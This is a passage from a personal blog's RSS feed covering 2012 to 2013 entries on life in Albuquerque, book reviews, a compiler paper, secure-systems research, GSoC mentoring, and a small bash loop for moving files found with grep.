  <description>I&apos;m not leaving yet, but it&apos;s just becoming increasingly hard to think about anything else.  Which is really unfortunate, because my deal to myself was that I&apos;d work this week (which is spring break at UNM) in exchange for taking next week off for hacking.&lt;br /&gt;&lt;br /&gt;So, uh, yeah, back to work now. :)&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=116031&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/116031.html</comments>
  <category>pycon</category>
  <category>open source</category>
  <category>life</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/115580.html</guid>
  <pubDate>Fri, 01 Mar 2013 08:10:48 GMT</pubDate>
  <title>My awesomely nerdy life</title>
  <link>http://terriko.dreamwidth.org/115580.html</link>
  <description>It&apos;s been a while since I just wrote about what I&apos;m doing, so let me tell you about some of this week:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8518200924/&quot; title=&quot;Cory Doctorow (Speaking in Albuquerque, NM) by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8524/8518200924_338f2d5fc1_z.jpg&quot; width=&quot;640&quot; height=&quot;427&quot; alt=&quot;Cory Doctorow (Speaking in Albuquerque, NM)&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On Wednesday I...&lt;br /&gt;&lt;br /&gt;... continued to run cool experiments on mutated software at work.&lt;br /&gt;... went to see Cory Doctorow speak at the library.&lt;br /&gt;... went out for falafel with some local hacklab folk.&lt;br /&gt;... beat up an ingress portal with the help of my lvl 8 friend.&lt;br /&gt;&lt;br /&gt;Today was less cool, what with the 2hr taxes-for-aliens session (not actually what they call it, but accurate enough), but I did make some coffee cupcakes with cream cheese icing.&lt;br /&gt;&lt;br /&gt;&lt;p align=&quot;center&quot;&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8518201114/&quot; title=&quot;Coffee cupcake with cream cheese icing by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8235/8518201114_a14f2abc96_n.jpg&quot; width=&quot;320&quot; height=&quot;213&quot; alt=&quot;Coffee cupcake with cream cheese icing&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;I plan to feed those to my coworkers (partially to make fun of the fact that we ran out of coffee today.  &quot;Look, I brought coffee!&quot;) and anyone who shows up at the local &lt;a href=&quot;http://www.2600.com/&quot;&gt;2600&lt;/a&gt; meeting tomorrow.  &lt;br /&gt;&lt;br /&gt;Then, on Saturday I&apos;m going to build stilts and hopefully learn to walk on them!  Or more likely, bruise my knees a lot, but hey, can never learn if I don&apos;t try, right?&lt;br /&gt;&lt;br /&gt;And on Sunday I&apos;m playing a concert of predominantly &lt;a href=&quot;https://en.wikipedia.org/wiki/Percy_Grainger&quot;&gt;Percy Grainger&lt;/a&gt; music (which is pretty music-nerdy), and then hopefully taking part in a meeting to start a local &lt;a href=&quot;http://hacker-scouts.org/?p=562&quot;&gt;Hacker Scouts&lt;/a&gt; guild.&lt;br /&gt;&lt;br /&gt;So yeah, I&apos;ve mostly been living life rather than photographing it and posting about it lately, but it is a very awesome life and you should all be jealous, promise!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=115580&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/115580.html</comments>
  <category>albuquerque</category>
  <category>quelab</category>
  <category>life</category>
  <lj:security>public</lj:security>
  <lj:reply-count>2</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/114601.html</guid>
  <pubDate>Tue, 22 Jan 2013 23:45:46 GMT</pubDate>
  <title>Academic Notes: Superoptimizer -- A Look at the Smallest Program</title>
  <link>http://terriko.dreamwidth.org/114601.html</link>
  <description>Ages ago, I thought it would be a brilliant idea to write up stuff on the papers I read, much like I do book reviews, but then I promptly... didn&apos;t do it.  But it&apos;s a new year with new papers, and here&apos;s the first for this year&apos;s seminar.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/jsmoorman/171463865/&quot; title=&quot;small toad by Scott*, on Flickr&quot;&gt;&lt;img src=&quot;https://farm1.staticflickr.com/62/171463865_36ee36f70e_m.jpg&quot; width=&quot;156&quot; height=&quot;240&quot; alt=&quot;small toad&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;em&gt;Photo: small toad by Scott* (Because tiny toads are adorable and compiler papers notes don&apos;t lend themselves to obvious illustration)&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.stanford.edu/class/cs343/resources/superoptimizer.pdf&quot;&gt;Superoptimizer -- A Look at the Smallest Program&lt;/a&gt;&lt;br /&gt;Henry Massalin&lt;br /&gt;1987&lt;br /&gt;&lt;br /&gt;This is a neat little paper about optimizing assembly code.  They took a program and then had the computer try to generate the smallest possible functionally equivalent version.  The paper is super short and readable and filled with lots of very clever adding of registers and stuff to avoid program jumps and comparisons.  They could get it to optimize only fairly small programs (12 lines of assembly), but it still seemed like a lot of these would be useful compiler optimizations and they&apos;re probably in use now.  &lt;br /&gt;&lt;br /&gt;Anyhow, it&apos;s three pages of explanation + two pages of cool examples they found, so if you&apos;re looking for a fun little bit of computing to read about to fill out some mind-expanding new year&apos;s resolution, this is an easy place to start. &lt;br /&gt;&lt;br /&gt;Some questions we had in seminar that I don&apos;t know the answers to: &lt;br /&gt;&lt;br /&gt;- What was the impact of this paper on modern compilers?  &lt;br /&gt;- Do we do any of this while compiling, or make use of the things they found in a preset kind of way?&lt;br /&gt;- Has anyone tried to do this using modern computers / other assembly instruction sets?&lt;br /&gt;- It seemed like there was a lot of adding... would it be possible to make reduced assembly instruction sets on the assumption that they will never be programmed by humans and thus can be super-optimal?&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=114601&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/114601.html</comments>
  <category>academia</category>
  <category>papers</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/114234.html</guid>
  <pubDate>Mon, 21 Jan 2013 22:22:25 GMT</pubDate>
  <title>Book review: Under Wraps</title>
  <link>http://terriko.dreamwidth.org/114234.html</link>
  <description>I haven&apos;t been keeping up with my book reviews here although I do add them to librarything and should probably just write myself an export script so it&apos;s easier for me.  But whatever, that&apos;s not done yet, and I finished a book this afternoon while I was waiting for my experiment to run, so here it is.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.amazon.com/gp/product/0758258925/ref=as_li_ss_il?ie=UTF8&amp;amp;tag=terriko0f-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0758258925&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://ws.assoc-amazon.com/widgets/q?_encoding=UTF8&amp;amp;Format=_SL160_&amp;amp;ASIN=0758258925&amp;amp;MarketPlace=US&amp;amp;ID=AsinImage&amp;amp;WS=1&amp;amp;tag=terriko0f-20&amp;amp;ServiceVersion=20070822&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;img src=&quot;http://www.assoc-amazon.com/e/ir?t=terriko0f-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=0758258925&quot; width=&quot;1&quot; height=&quot;1&quot; border=&quot;0&quot; alt=&quot;&quot; style=&quot;border:none !important; margin:0px !important;&quot; /&gt;&lt;br /&gt;&lt;a href=&quot;https://www.librarything.com/work/10559648/book/93364616&quot;&gt;Under Wraps (The Underworld Detection Agency Chronicles)&lt;/a&gt;&lt;br /&gt;by Hannah Jayne&lt;br /&gt;&lt;br /&gt;I liked the characters and the world of this funny urban fantasy, but they seemed almost out of sync with the murder that Sophie is supposed to be solving: the serial murder case seemed to take a back seat to the banter and internal monologuing of our somewhat hapless heroine.  If you&apos;re looking for serious urban fantasy give this a miss, but it&apos;s fun in a first season Buffy sort of way.  I&apos;m not sure if it really grabbed me enough to read the next one, but who knows, maybe it&apos;ll grow into something more as the series expands?&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=114234&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/114234.html</comments>
  <category>book</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/113467.html</guid>
  <pubDate>Wed, 16 Jan 2013 19:59:37 GMT</pubDate>
  <title>Winter Driving</title>
  <link>http://terriko.dreamwidth.org/113467.html</link>
  <description>&lt;a href=&quot;http://www.flickr.com/photos/sjixxxy/5284975573/&quot; title=&quot;Winter Driving by K. Praslowicz - kpraslowicz.com, on Flickr&quot;&gt;&lt;img src=&quot;https://farm6.staticflickr.com/5087/5284975573_fee21d1fa6_m.jpg&quot; width=&quot;240&quot; height=&quot;192&quot; alt=&quot;Winter Driving&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I spent 3 weeks up in Ottawa, and the one thing I was looking forwards to was not having to do any more serious winter driving.&lt;br /&gt;&lt;br /&gt;Guess what it was like here on Monday?&lt;br /&gt;&lt;br /&gt;On the bright side, I&apos;m glad people drive super carefully around here when they&apos;re uncertain.  But it&apos;s very hard not to laugh when we&apos;re inching down the road over a light dusting of snow.  Good thing I wasn&apos;t in a hurry!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=113467&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/113467.html</comments>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/112696.html</guid>
  <pubDate>Thu, 27 Dec 2012 05:32:24 GMT</pubDate>
  <title>Happy Holidays!</title>
  <link>http://terriko.dreamwidth.org/112696.html</link>
  <description>Looking at my twitter feed, it seems I spent my holiday with my grandmother&apos;s dog, so here&apos;s a picture:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8313651476/&quot; title=&quot;2012-12-26 12.25.55 by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8077/8313651476_692bcebe1d_c.jpg&quot; width=&quot;800&quot; height=&quot;451&quot; alt=&quot;2012-12-26 12.25.55&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I&apos;ve been having a lovely time with my parents and Buster the dog, all of whom like long walks in the local woods.  My fitbit tells me their standard afternoon walk is just shy of 3 miles, which is still more meaningful to my not entirely metric parents than it is to me, but I&apos;m slowly learning distances in imperial from living in the US.  I spent the first few days in self-quarantine since John had finally infected me with the cold/flu he caught on the way back from St. Lucia, but to be honest all I did was sneeze on a TSA agent or two, have one miserable night when I arrived and then my immune system squashed it.  Yeay immune systems!  So I spent a few quiet reading and walking days that I probably didn&apos;t have to do to avoid being a disease vector, but it was lovely to read and walk and enjoy the local trails.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8312601973/&quot; title=&quot;2012-12-24 12.02.55 by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8500/8312601973_18f5298832_c.jpg&quot; width=&quot;800&quot; height=&quot;451&quot; alt=&quot;2012-12-24 12.02.55&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The next few days will be a bit more chaotic as I try to meet up with people while I&apos;m in town.  If you want to get on the list, let me know!  My old canadian cell # is active if you want to get in touch, and I&apos;ll be in town &apos;till the 7th minus a few days at new year&apos;s as usual.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8304718546/&quot; title=&quot;Out for a walk in the woods by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8219/8304718546_4a1aa65211_c.jpg&quot; width=&quot;800&quot; height=&quot;451&quot; alt=&quot;Out for a walk in the woods&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=112696&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/112696.html</comments>
  <category>life</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/111896.html</guid>
  <pubDate>Fri, 14 Dec 2012 20:03:05 GMT</pubDate>
  <title>Kindle Fire, take 3</title>
  <link>http://terriko.dreamwidth.org/111896.html</link>
  <description>You may recall that my Kindle Fire decided to stop charging right before I went off on my vacation at the beginning of December, and I had a somewhat terrible experience with Amazon&apos;s online customer service but they did in the end replace it under warranty.&lt;br /&gt;&lt;br /&gt;I&apos;ve had the replacement for two weeks, and it was acting a bit weird, rebooting while I was doing things like reading pdfs.  So last night, I looked up whether this was a common problem and the suggestion seemed to be to hard reboot it, so I did.&lt;br /&gt;&lt;br /&gt;The kindle has been stuck at the kindle fire reboot screen for about 12 hours now.  &lt;br /&gt;&lt;br /&gt;Since the online chat support was awful last time, I called Amazon this time and the phone support lady was very nice, efficient and was very apologetic about not being able to get me a new device until Jan 4th.  But the replacement is in the works, I just won&apos;t get it &apos;till after I get back from Ottawa.&lt;br /&gt;&lt;br /&gt;Meanwhile, dead kindle #2 won&apos;t boot up and also won&apos;t shut down, so I may be sticking a running device in the mail, which feels kind of weird.  Not much for it, though, since the thing is utterly unresponsive.  Maybe it&apos;ll run out of battery before I get out to mail it this afternoon.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=111896&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/111896.html</comments>
  <category>amazon</category>
  <category>geek</category>
  <category>tech</category>
  <lj:security>public</lj:security>
  <lj:reply-count>2</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/111831.html</guid>
  <pubDate>Wed, 28 Nov 2012 22:53:31 GMT</pubDate>
  <title>RFC Poetry</title>
  <link>http://terriko.dreamwidth.org/111831.html</link>
  <description>A friend of mine wrote &lt;a href=&quot;https://twitter.com/hacking_ebooks&quot;&gt;a twitter bot that spits out random bits of RFCs&lt;/a&gt;, somewhat inspired by horse_ebooks, and I suggested it would be nice if it wrote haiku, so now it does.  It&apos;s not very good at it, but I found this almost poem in the feed:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Townson makes it has &lt;br /&gt;the switch functions&lt;br /&gt;02 Elgamal public key&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;And now I really want to write a haiku including the words &quot;elgamal public key&quot; -- pity &quot;exchange&quot; doesn&apos;t fit that into a 7-syllable line.&lt;br /&gt;&lt;br /&gt;Some of the more intentional poetry it&apos;s written:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;to authenticate the&lt;br /&gt;already done our paper we have&lt;br /&gt;home address found &lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;It&apos;s almost poignant.  Or Yoda crossed with Glinda the good witch, whatever.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=111831&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/111831.html</comments>
  <category>geek</category>
  <lj:security>public</lj:security>
  <lj:reply-count>2</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/111208.html</guid>
  <pubDate>Tue, 20 Nov 2012 18:13:07 GMT</pubDate>
  <title>On what I do</title>
  <link>http://terriko.dreamwidth.org/111208.html</link>
  <description>You may have seen this article on Peter G. Neumann: &lt;a href=&quot;https://www.nytimes.com/2012/10/30/science/rethinking-the-computer-at-80.html?pagewanted=all&amp;amp;_r=0&quot;&gt;Killing the Computer to Save It&lt;/a&gt;.   It was making the rounds a few weeks ago.  (Note that you can read NYT articles without logging in if you turn on temporary cookies and then click the link.)&lt;br /&gt;&lt;br /&gt;In case you were curious or maybe thought some of that sounded familiar, that is indeed the same DARPA grant that drew me to the US for this postdoc.  I&apos;m on CRASH or &quot;Clean-Slate Design of Resilient Adaptive Secure Hosts.&quot;  The article has a short mention of the stuff we&apos;re doing:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; Clean Slate is financing research to explore how to design computer systems that are less vulnerable to computer intruders and recover more readily once security is breached.&lt;br /&gt;&lt;br /&gt;Dr. Shrobe argues that because the industry is now in a fundamental transition from desktop to mobile systems, it is a good time to completely rethink computing. But among the biggest challenges is the monoculture of the computer “ecosystem” of desktop, servers and networks, he said.&lt;br /&gt;&lt;br /&gt;“Nature abhors monocultures, and that’s exactly what we have in the computer world today,” said Dr. Shrobe. “Eighty percent are running the same operating system.”&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Lessons From Biology&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;To combat uniformity in software, designers are now pursuing a variety of approaches that make computer system resources moving targets. Already some computer operating systems scramble internal addresses much the way a magician might perform the trick of hiding a pea in a shell. The Clean Slate project is taking that idea further, essentially creating software that constantly shape-shifts to elude would-be attackers.&lt;br /&gt;&lt;br /&gt;That the Internet enables almost any computer in the world to connect directly to any other makes it possible for an attacker who identifies a single vulnerability to almost instantly compromise a vast number of systems.&lt;br /&gt;&lt;br /&gt;But borrowing from another science, Dr. Neumann notes that biological systems have multiple immune systems — not only are there initial barriers, but a second system consisting of sentinels like T cells has the ability to detect and eliminate intruders and then remember them to provide protection in the future.&lt;br /&gt;&lt;br /&gt;In contrast, today’s computer and network systems were largely designed with security as an afterthought, if at all. &lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;That barely touches on all the cool stuff we&apos;re doing, since the article isn&apos;t exactly about our work at UNM &amp; UVA, but it was pretty neat to see it in the news.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=111208&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/111208.html</comments>
  <category>academia</category>
  <category>work</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/110872.html</guid>
  <pubDate>Thu, 15 Nov 2012 17:54:24 GMT</pubDate>
  <title>More on Philosophy of Teaching</title>
  <link>http://terriko.dreamwidth.org/110872.html</link>
  <description>So, it turns out that not only do I dislike half the samples I can find online of good philosophy of teaching statements, I also hate everything I write on that front.  But the deadline is today and my references have already sent in their letters, so I think I&apos;ve just got to suck it up and submit what I have.&lt;br /&gt;&lt;br /&gt;I am, however, pleased with the ideas in this paragraph on failure:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;But perhaps the biggest lesson was about failure: Many students seemed to believe that any failure was a sign of fundamental, unfixable inadequacy, and this was especially toxic to the women and other minority students who were more likely to feel like imposters.  But many self-taught programmers learn through experimentation and repeated failure, so we encouraged students to do this in tutorials and even celebrated ridiculous bugs together by encouraging the students to share them and help each other debug.    The students who had difficulties at the beginning could see other students failing and then succeeding, and the change in their confidence levels was noticeable, as was the resulting change in what they attempted and what they achieved.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;That&apos;s a little piece of what made teaching tutorials such a different experience from lecturing, and something I really loved watching happen every year.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=110872&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/110872.html</comments>
  <category>computer science</category>
  <category>teaching</category>
  <category>academia</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/110484.html</guid>
  <pubDate>Wed, 31 Oct 2012 06:38:02 GMT</pubDate>
  <title>Book reviews: Darklandia</title>
  <link>http://terriko.dreamwidth.org/110484.html</link>
  <description>&lt;img src=&quot;https://images-na.ssl-images-amazon.com/images/P/1479280526.01._SX140_SY224_SCLZZZZZZZ_.jpg&quot; /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.amazon.com/gp/product/1479280526/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1479280526&amp;amp;linkCode=as2&amp;amp;tag=terriko0f-20&quot;&gt;Darklandia&lt;/a&gt;&lt;img src=&quot;http://www.assoc-amazon.com/e/ir?t=terriko0f-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=1479280526&quot; width=&quot;1&quot; height=&quot;1&quot; border=&quot;0&quot; alt=&quot;&quot; style=&quot;border:none !important; margin:0px !important;&quot; /&gt; by &lt;em&gt;T.S. Welti&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;This is an amazing novel, a utopian-dystopian world and a teenager slowly becoming aware that the world around here is not as she&apos;s been led to believe. I found it reminiscent of young adult sci fi I loved as a kid, such as Devil on My Back by Monica Hughes, or more recent takes on the genre such as Maria V. Snyder&apos;s Inside Out. Perhaps Brave New World would be a closer match to the Felicity-medicated world in Darklandia, but this walks the careful line of feeling familiar without feeling unoriginal.&lt;br /&gt;&lt;br /&gt;What blew me away the most is that even though I was noticing clues that should have led me to the shocking ending, I didn&apos;t make the connection until the very end. Masterfully done, and while I could see how others might feel unsatisfied, I thought it was brilliant.&lt;br /&gt;&lt;br /&gt;It&apos;s quite the page turner: I caught myself finishing it hours past my bedtime. I highly recommend this one, especially to fans of this type of speculative/science fiction, just make sure not to start it too late in the evening!&lt;br /&gt;&lt;br /&gt;I was fortunate enough to win this in a LibraryThing member giveaway, but regardless of how I obtained the book, I can honestly say that this is among the top books I&apos;ve read this year... and it&apos;s nearly November! The rest of my reading list will have a lot to live up to.&lt;br /&gt;&lt;br /&gt;&lt;lj-embed id=&quot;28&quot; /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=110484&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/110484.html</comments>
  <category>book</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/109831.html</guid>
  <pubDate>Mon, 22 Oct 2012 21:17:44 GMT</pubDate>
  <title>Home for a rest?</title>
  <link>http://terriko.dreamwidth.org/109831.html</link>
  <description>I&apos;m mildly discombobulated since my flight got in quite delayed last night and I swear, there wasn&apos;t enough time between travel even though I had more than a week, but here&apos;s updates:&lt;br /&gt;&lt;br /&gt;(1) GSoC Mentor Summit was amazing, filled with open source folk who were also passionate about mentoring.  It was cool having lots in common with every person I talked to all weekend.&lt;br /&gt;&lt;br /&gt;(2) I have pictures, largely of playing powerpoint karaoke yesterday.  Also of some of the guys playing rugby in the hot tub. ;)  (Well, okay, just tossing a ball around, but still!)  They need some serious culling so expect most of them later in the week.  Arc pulled the best ones off my camera and they&apos;re here: &lt;a href=&quot;https://plus.google.com/u/0/109741359399131092509/posts/VHbodBCsBPJ&quot;&gt;https://plus.google.com/u/0/109741359399131092509/posts/VHbodBCsBPJ&lt;/a&gt; (Thanks to Denis of Gentoo for being our photographer!)&lt;br /&gt;&lt;br /&gt;(3) Oh yeah, the big announcement is that I&apos;m going to be the Org admin for the Python Software Foundation next year.  Doomed!  So yeah, I go from managing my 3 students, 7 mentors for Mailman (and backup managing another 3 students from Systers), to around 30 students spread across a pile of sub-organizations.  Should be fun.  Or terrifying. :)  I&apos;ll probably write more about this later once it&apos;s had more time to sink in.&lt;br /&gt;&lt;br /&gt;(4) I need to also make time to encourage folk to come to Pycon.  &lt;a href=&quot;http://pycon.blogspot.com/2012/09/pycon-2013-registration-and-financial.html&quot;&gt;There is financial aid available&lt;/a&gt; and the application is up.  I&apos;m going to be sending more personal notes out to my new contributors from GHC12 and my GSoC students from Systers and Mailman.  The Mailman sprint last year was probably the most satisfying hacking event I&apos;ve ever attended, and I want others to have that experience. :)&lt;br /&gt;&lt;br /&gt;(5) I did get all my GHC12 pictures up before I left: &lt;a href=&quot;https://secure.flickr.com/photos/terrio/sets/72157631687919350/&quot;&gt;https://secure.flickr.com/photos/terrio/sets/72157631687919350/&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;(6) My last official GHC12 blog post (about the open source day hackathon) is pending now that I have photos to go with it.  I&apos;ve got notes for a few more, but not sure I&apos;ll have time to write them.&lt;br /&gt;&lt;br /&gt;In theory, I&apos;ll be home in New Mexico and not traveling again &apos;till December.  Which is good, because I need to put together academic applications, write a paper with my remaining thesis research (the tech report got cited twice already, which is a sign that I should have something more peer-reviewed out there), and get the research done for my next paper.  Plus, you know, squash all the open bugs/add all the missing features in Postorius, make sure the port of dynamic sublists to Mailman 3 is finished, and purchase flights for my trip home in December.&lt;br /&gt;&lt;br /&gt;I feel like I should be a lot more stressed about all that I&apos;ve got on my plate, but after a weekend with open source folk, I&apos;m feeling pretty relaxed and pleasant and like it&apos;s all going to work out somehow.  And to be honest, that feeling may be the most important thing I&apos;m bringing back from Mountain View this week. :)&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=109831&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/109831.html</comments>
  <category>open source</category>
  <category>gsoc</category>
  <category>ghc12</category>
  <category>life</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/109733.html</guid>
  <pubDate>Tue, 16 Oct 2012 21:06:41 GMT</pubDate>
  <title>Moving files you found with grep (and the joy of for loops in bash)</title>
  <link>http://terriko.dreamwidth.org/109733.html</link>
  <description>Back in one of my early, unpaid co-op jobs, I discovered that my otherwise reasonably experienced boss hadn&apos;t ever used tab completion, and it got me thinking a lot about how I learned a lot of command line habits through a combination of word of mouth and a personal conviction that the computer should be able to do anything I found repetitive (alas, I have not taught it to load the dishwasher).  But the real take-home message is that there&apos;s a lot of little linux tricks that aren&apos;t really obvious to everyone.  So in that spirit, here&apos;s an incredibly tiny script I wrote today that might be useful to someone else:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Moving files found with grep&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;I had a bunch of output files from my experiments, and I wanted to know at a glance which ones had failed, and then move those files to a subdirectory, leaving me with a smaller list of successes to evaluate in more detail.&lt;br /&gt;&lt;br /&gt;Here&apos;s the script as a one-liner, the way I&apos;d enter it:&lt;br /&gt;&lt;code&gt;for a in `grep -l -z &quot;No repair found&quot; repair.debug.*` ; do echo $a;  mv $a notfound/; done&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And here&apos;s some explanation:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;grep -l &quot;No repair found&quot; repair.debug.*&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;My particular experiment prints a line &quot;No repair found&quot; when the run fails, so that&apos;s what I&apos;m searching for in the output files it generates (repair.debug.*).  The -l makes grep print just the filenames so I don&apos;t have to do any special work to parse them from the output.  (You can also use the longer but easier-to-read --files-with-matches.  I&apos;m guessing -l was intended as &quot;l for list&quot; but I don&apos;t know.)&lt;br /&gt;&lt;br /&gt;When I was googling for the -l flag, I did find some people with fancy xarg stuff you could do here, but seriously, if all you need is the filename save yourself some hassle.  If your filenames have spaces in them, you may find it useful to do that and some fanciness with -z to change the delimiters to be \0s, but I didn&apos;t need to do that.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;for a in ` ... `; do ... ; done&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;This is my favourite little bash for loop with the functional bits cut out.  